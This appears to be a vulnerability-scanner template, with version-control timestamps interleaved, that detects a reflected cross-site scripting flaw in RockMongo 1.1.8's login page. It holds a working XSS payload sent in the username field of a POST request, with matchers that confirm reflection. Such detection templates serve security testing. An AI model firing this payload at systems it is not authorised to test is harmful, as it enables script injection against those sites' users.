2021-02-25 11:28:40 +00:00
id : rockmongo-xss
info :
2022-09-23 17:53:08 +00:00
name : RockMongo 1.1.8 - Cross-Site Scripting
2021-02-25 11:28:40 +00:00
author : pikpikcu
2022-09-23 17:53:08 +00:00
severity : high
description : RockMongo 1.1.8 contains a cross-site scripting vulnerability which allows attackers to inject arbitrary JavaScript into the response returned by the application.
2022-04-22 10:38:41 +00:00
reference :
- https://packetstormsecurity.com/files/136658/RockMongo-1.1.8-Cross-Site-Request-Forgery-Cross-Site-Scripting.html
2022-09-23 17:53:08 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score : 7.2
cwe-id : CWE-79
2022-08-27 04:41:18 +00:00
tags : rockmongo,xss,packetstorm
2021-02-25 11:28:40 +00:00
requests :
- method : POST
path :
- "{{BaseURL}}/index.php?action=login.index"
headers :
Content-Type : application/x-www-form-urlencoded
body : "more=0&host=0&username=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&password=&db=&lang=en_us&expire=3"
matchers-condition : and
matchers :
- type : word
words :
- '"><script>alert(document.domain)</script>'
part : body
- type : status
status :
- 200
2021-02-25 11:45:21 +00:00
- type : word
words :
- 'Content-Type : text/html'
2022-09-23 17:53:08 +00:00
part : header
# Enhanced by mp on 2022/09/23
